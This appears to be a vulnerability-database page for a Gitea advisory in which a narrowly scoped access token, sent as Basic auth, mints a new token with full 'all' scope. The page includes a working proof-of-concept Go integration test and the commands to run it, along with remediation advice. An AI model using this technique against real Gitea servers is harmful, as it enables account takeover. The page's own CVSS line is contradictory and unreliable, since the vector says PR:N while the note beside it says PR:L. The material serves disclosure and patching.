Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Network API, low complexity, but a valid low-scope token is required so PR:L not PR:N; escalation yields full account read/write, giving high C/I/A.
Primary rating from Vendor (https://github.com/go-gitea/gitea).
CVSS VectorVendor: https://github.com/go-gitea/gitea
Lifecycle Timeline
6DescriptionCVE.org
Gitea's API endpoint for creating Personal Access Tokens (POST /users/{username}/tokens) is protected by a middleware (reqBasicOrRevProxyAuth) that is intended to require password-based authentication, preventing a compromised token from being used to mint new ones. However, when a token is passed in the Authorization: Basic <token>:x-oauth-basic format, the Basic auth handler validates it and sets AuthedMethod="basic", causing IsBasicAuth=true and fooling the middleware into passing the request. Once past the guard, the token creation handler applies no scope ceiling - it will create a new token with any requested scope regardless of the caller's scope. An attacker with a restricted token (e.g. write:user from a leaked CI secret) can therefore create a fully-privileged all-scoped token without knowing the account password.
Data flow
Step 1 - Token extracted from Basic auth header
When the attacker sends Authorization: Basic base64(<token>:x-oauth-basic), parseAuthBasic detects that the password is "x-oauth-basic" and treats the username field as the token:
https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/basic.go#L55-L64
VerifyAuthToken then validates the token against the database and sets LoginMethod = "access_token" and ApiTokenScope to the token's actual scope (write:user):
https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/basic.go#L100-L106
Step 2 - AuthedMethod is set to "basic", not "access_token"
Basic.Verify() returns the user successfully, so group.Verify() sets AuthedMethod to the method's name - "basic" - regardless of whether a password or token was used:
https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/group.go#L63-L65
Step 3 - IsBasicAuth is incorrectly set to true
AuthShared computes IsBasicAuth by comparing AuthedMethod against the constant "basic". Since step 2 set that field to "basic" for a token-authenticated request, the flag is wrong:
https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/common/auth.go#L27
Step 4 - The guard is bypassed
reqBasicOrRevProxyAuth checks only ctx.IsBasicAuth. Because that flag is true, the middleware passes and the request reaches CreateAccessToken:
https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/api.go#L392-L401
Step 5 - No scope ceiling in the handler
CreateAccessToken normalizes the caller-supplied scope and assigns it directly to the new token. There is no check that the requested scope is a subset of ApiTokenScope (write:user):
https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/user/app.go#L119-L128
Reproducing
tests/integration/api_token_scope_escalation_test.go
package integration
import (
"net/http"
"testing"
auth_model "gitea.dev/models/auth"
"gitea.dev/models/unittest"
user_model "gitea.dev/models/user"
api "gitea.dev/modules/structs"
"gitea.dev/tests"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
// TestAPIPrivilegeEscalationViaBasicAuthToken is a proof-of-concept for two
// interconnected vulnerabilities that together allow full scope escalation:
//
// 1. reqBasicOrRevProxyAuth() is fooled into passing when a PAT is supplied in
// the Authorization: Basic "<token>:x-oauth-basic" format. The Basic auth
// handler sets AuthedMethod="basic" (the method name), so IsBasicAuth=true
// even though the credential is a token, not a password.
//
// 2. CreateAccessToken performs no scope-ceiling check - it never verifies that
// the requested scopes are a subset of the caller's token scopes.
//
// Combined effect: an attacker with a write:user-scoped token can create a new
// token with the "all" scope, gaining full access to the account.
func TestAPIPrivilegeEscalationViaBasicAuthToken(t *testing.T) {
defer tests.PrepareTestEnv(t)()
// Non-admin user - escalation is meaningful and not trivially justified.
user := unittest.AssertExistsAndLoadBean(t, &user_model.User{ID: 2})
// Step 1 - Obtain a legitimately restricted token via password-based Basic auth.
// Only write:user scope is granted; repository, admin, etc. are excluded.
restrictedToken := createAPIAccessTokenWithoutCleanUp(t, "poc-restricted", user,
[]auth_model.AccessTokenScope{auth_model.AccessTokenScopeWriteUser})
defer deleteAPIAccessToken(t, restrictedToken, user)
// Confirm the restricted token is blocked from repository-scoped endpoints.
// This establishes the baseline: write:user does not imply read:repository.
req := NewRequest(t, "GET", "/api/v1/repos/search").
AddTokenAuth(restrictedToken.Token)
MakeRequest(t, req, http.StatusForbidden)
// Step 2 - Exploit: supply the restricted token as Basic auth credentials.
// Authorization: Basic base64("<token>:x-oauth-basic")
//
// Basic.Verify() validates the token and returns the user. group.Verify() then
// sets AuthedMethod="basic" (the method name). auth.go maps that to
// IsBasicAuth=true, satisfying reqBasicOrRevProxyAuth() even though no
// password was provided. CreateAccessToken then creates the token with the
// requested "all" scope without checking whether it exceeds the caller's scope.
payload := map[string]any{
"name": "poc-escalated",
"scopes": []string{"all"},
}
req = NewRequestWithJSON(t, "POST", "/api/v1/users/"+user.LoginName+"/tokens", payload)
req.SetBasicAuth(restrictedToken.Token, "x-oauth-basic")
// This should be 403 (scope ceiling not enforced and IsBasicAuth check bypassed)
// but is currently 201, confirming the vulnerability.
resp := MakeRequest(t, req, http.StatusCreated)
escalatedToken := DecodeJSON(t, resp, &api.AccessToken{})
require.NotNil(t, escalatedToken)
defer deleteAPIAccessToken(t, *escalatedToken, user)
// Step 3 - The escalated token carries the "all" scope.
assert.Contains(t, escalatedToken.Scopes, "all",
"escalated token scope must be 'all'; original token only had write:user")
// Step 4 - The escalated token can now reach endpoints blocked to the original
// token, confirming real privilege gain beyond write:user.
req = NewRequest(t, "GET", "/api/v1/repos/search").
AddTokenAuth(escalatedToken.Token)
MakeRequest(t, req, http.StatusOK)
}git clone https://github.com/go-gitea/gitea
cd gitea
git checkout 9155a81b9daf1d46b2380aa91271e623ac947c1e
# Place the unit test above at `tests/integration/api_token_scope_escalation_test.go`.
go test -run '^TestAPIPrivilegeEscalationViaBasicAuthToken$' ./tests/integration/A passing result confirms the vulnerability. The test output will show the two critical lines: the exploit POST returning 201 Created and the follow-up GET /api/v1/repos/search returning 200 OK with the escalated token.
AnalysisAI
Privilege escalation in Gitea's self-hosted Git service (all versions ≤ 1.26.4) lets an attacker holding a narrowly-scoped Personal Access Token mint a new token with any scope, including full 'all' access, without the account password. The POST /users/{username}/tokens endpoint is guarded by reqBasicOrRevProxyAuth, which is meant to force password auth, but supplying the token as Authorization: Basic base64(<token>:x-oauth-basic) tricks the guard into setting IsBasicAuth=true, and the token-creation handler enforces no scope ceiling. A working proof-of-concept integration test is published in the advisory, though there is no public exploit identified in the wild and EPSS is low (0.16%).
Technical ContextAI
Gitea is a lightweight, self-hosted Git service written in Go (package code.gitea.io/gitea), widely used as an on-prem GitHub/GitLab alternative. The flaw is a chain of authentication-context confusion (CWE-287, Improper Authentication) plus a missing authorization check. Gitea supports the GitHub-style convention of passing an API token through HTTP Basic auth as '<token>:x-oauth-basic'. In services/auth/basic.go, parseAuthBasic recognizes the 'x-oauth-basic' password sentinel and validates the username field as a token via VerifyAuthToken, correctly recording LoginMethod='access_token' and the token's real ApiTokenScope (e.g. write:user). However, in services/auth/group.go the generic group verifier stamps AuthedMethod with the handler's name ('basic') rather than the actual credential type, and routers/common/auth.go derives IsBasicAuth by string-comparing AuthedMethod=='basic'. The reqBasicOrRevProxyAuth middleware in routers/api/v1/api.go trusts only that boolean, so a token-authenticated request is misclassified as password-authenticated. The second defect is in routers/api/v1/user/app.go CreateAccessToken, which normalizes and assigns the caller-requested scopes with no check that they are a subset of the calling token's scope - so there is no privilege ceiling once the guard is passed.
RemediationAI
Vendor-released patch: upgrade to Gitea 1.27.0, which enforces a scope ceiling (see the new AccessTokenScope.CanCreateChildScope logic in models/auth/access_token_scope.go) and corrects the Basic-vs-token auth classification; fixes landed in PRs https://github.com/go-gitea/gitea/pull/38406 and https://github.com/go-gitea/gitea/pull/38426 and commits de4b8277e9cb576f2315fb03b5ab6478b42a1d31 and f69e15afe7496cc62e96dab244629c69eb31a7bf. If you cannot upgrade immediately, treat every existing Personal Access Token as a potential full-account credential and rotate/revoke tokens that are not strictly needed, especially any embedded in CI/CD; restrict who can create tokens and audit the api/v1/users/*/tokens endpoint at the reverse proxy (blocking or requiring an additional auth layer on POST to that path, accepting that this also breaks legitimate password-based token creation through that proxy); and monitor for token-creation events originating from token-authenticated sessions. These compensating controls reduce but do not eliminate exposure - the only complete fix is the 1.27.0 upgrade. Advisory: https://github.com/go-gitea/gitea/security/advisories/GHSA-683j-3ff6-hh2x.
Remote code execution in Gitea (self-hosted Git service) via a code-injection flaw (CWE-94) allows attackers to run arbi
Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r
Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp
The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir
Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea
Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any
Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec
models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem
Server-side request forgery and internal repository exfiltration in Gitea before 1.27.0 lets a low-privileged authentica
Authorization bypass in Gitea versions 1.22.3 through 1.26.1 allows holders of `public-only` access tokens or OAuth gran
An issue was discovered in Gitea through 1.11.5. Rated high severity (CVSS 7.5), this vulnerability is remotely exploita
Missing Authorization in GitHub repository go-gitea/gitea prior to 1.16.4. Rated high severity (CVSS 7.1), this vulnerab
Same weakness CWE-287 – Improper Authentication
View allSame technique Authentication Bypass
View allVendor StatusVendor
SUSE
| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-58143
GHSA-683j-3ff6-hh2x